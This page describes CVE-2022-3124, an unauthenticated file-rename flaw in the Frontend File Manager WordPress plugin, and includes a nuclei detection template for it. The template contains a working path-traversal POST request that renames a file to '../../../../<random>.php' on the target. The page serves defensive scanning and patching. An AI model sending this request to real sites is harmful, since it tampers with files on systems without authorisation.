Frontend File Manager < 21.3 - Unauthenticated File Renaming

mediumseverity

5.3CVSS score

8.3%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

The Frontend File Manager Plugin WordPress plugin before 21.3 allows any unauthenticated user to rename uploaded files from users. Furthermore, due to the lack of validation in the destination filename, this could allow allow them to change the content of arbitrary files on the web server

Impact

Unauthenticated attackers can rename uploaded files and manipulate arbitrary file content on the web server through path traversal, potentially overwriting critical WordPress files or injecting malicious code.

Fix

Update Frontend File Manager plugin to version 21.3 or later that validates file rename operations and restricts them to authenticated users with proper path validation.

How to confirm it

Send: POST /wp-json/wpfm/v1/file-rename
Positive when: matches /"fileid"\s*:\s*"([^"]+)"/ AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2022-3124 -u <target>

The full check

id: CVE-2022-3124

info:
  name: Frontend File Manager < 21.3 - Unauthenticated File Renaming
  author: riteshs4hu
  severity: medium
  description: |
    The Frontend File Manager Plugin WordPress plugin before 21.3 allows any unauthenticated user to rename uploaded files from users. Furthermore, due to the lack of validation in the destination filename, this could allow allow them to change the content of arbitrary files on the web server
  impact: |
    Unauthenticated attackers can rename uploaded files and manipulate arbitrary file content on the web server through path traversal, potentially overwriting critical WordPress files or injecting malicious code.
  remediation: |
    Update Frontend File Manager plugin to version 21.3 or later that validates file rename operations and restricts them to authenticated users with proper path validation.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2022-3124
    - https://wpscan.com/vulnerability/00f76765-95af-4dbc-8c37-f1b15a0e8608/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-3124
    cwe-id: CWE-862
    epss-score: 0.08263
    epss-percentile: 0.94953
    cpe: cpe:2.3:a:najeebmedia:frontend_file_manager:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: najeebmedia
    product: frontend_file_manager
    framework: wordpress
    publicwww-query: "/wp-content/plugins/nmedia-user-file-uploader/"
  tags: cve,cve2022,wordpress,wp-plugin,wpscan,nmedia-user-file-uploader,file-upload,intrusive,vkev,vuln

variables:
  rand_string: '{{to_lower(rand_text_alpha(6))}}'

http:
  - raw:
      - |
        POST /wp-json/wpfm/v1/file-rename HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        fileid=1&filename=../../../../{{rand_string}}.php

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '"fileid"\s*:\s*"([^"]+)"'
          - '"filename"\s*:\s*"([^"]+)"'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from